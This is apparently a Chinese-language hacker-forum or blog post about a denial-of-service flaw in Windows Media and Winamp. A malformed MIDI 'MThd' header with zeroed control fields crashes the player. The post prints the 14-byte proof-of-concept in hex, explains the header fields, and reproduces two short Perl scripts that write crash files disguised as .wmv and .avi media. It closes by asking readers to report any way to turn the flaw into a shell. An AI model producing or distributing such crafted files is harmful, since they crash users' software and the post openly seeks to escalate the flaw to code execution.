06年底,我和Secunia maillist上的朋友讨论的时候,国外的一个朋友修改出了一份Windows Media上的拒绝服务攻击的PoC,不过当时这个还不是很受关注,我和这位朋友只是简单的交流了些,发布出去就完了,然后没放在心上。
当时给出的ads是这样的,现在查的话,应该在milw0rm上能查询到:
QUOTE:
H0lly Shit for Windows Media
File Denial Of Service Vulnerability
Tested:
Windows Media 10.00.00.4036
Windows XP SP2
file "example.mid" or "example.wmv" (Hex-Code):
4D 54 68 64 00 00 00 06 00 00 00 00 00 00
File size = 14 byte
那天我也同步发布在了黑盟的信息安全区,此事就搁置了。
时隔4个月,现在出现了不少类似的exp。比如:
Winamp <= 5.33 (.AVI File) Remote Denial of Service Exploit
MS Windows Explorer (AVI) Unspecified Denial of Service Exploit
Winamp <= (WMV) 5.3 Buffer Overflow Exploit (0-DAY)
这些在google一搜索就能有了,当然在黑盟的信息安全区我都进行了相关的转载,如果有兴趣可以去查阅。
其实原理很简单,类似于0处理。
midi文件的头是这样的:4d 54 68 64 00 00 00 06 x1 x2 x3 x4 x5 x6,其中x1~x6是控制字,x1 x2指定是否为多音轨是否同步,x3 x4指定轨道数目,x5 x6指定基本时间数,4d 54 68 64 是ASCII字符“MThd”,鉴别文件类型用的,00 00 00 06是固定的,声明一下控制字的字节数,就是x1~x6。
知道了这些,就很清楚了。
比如Winamp <= (WMV) 5.3 Buffer Overflow Exploit (0-DAY)给出的关键代码是这样的:
CODE:
#!/usr/bin/perl
# Winamp <= (WMV) 5.3 Buffer Overflow DOS Exploit (0-DAY)
# Exploit :
#############################################
#Exploit Coded By UNIQUE-KEY[UNIQUE-CRACKER]#
#############################################
open(wmv, ">./exploit.wmv");
print wmv "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00".
print wmv "\x4D\x54\x68\x64";
close(wmv);
仔细对照一下上面我给出的关于文件头的定义,大概知道怎么回事了吧?
其实就是把\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00写入wmv文件,结果就是这样:
4D 54 68 64 00 00 00 06 00 00 00 00 00 00 31
当播放器读取的时候当然就出现读0错误了。
其他的如Winamp <= 5.33 (.AVI File) Remote Denial of Service Exploit,里面的代码实在是冗余(http://www.cnhacker.com/bbs/read.php?tid=164070&fpage=1),
其实有下面几句就行:
CODE:
#!/usr/bin/perl
open(avi, ">./Dr.Trojan.avi");
print avi "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00".
print avi "\x4D\x54\x68\x64";
close(avi);
其实不管怎么样,漏洞这种东西有人研究才会有软件上的进步,现在这么多exp重新指向这个漏洞,相比会得到一些人的重视吧。等待播放器开发公司的反应了。
至于能否利用来exploit出shell,这个目前我还没找到好的方法,如果有人尝试成功了,不要忘记mail我哈,感激。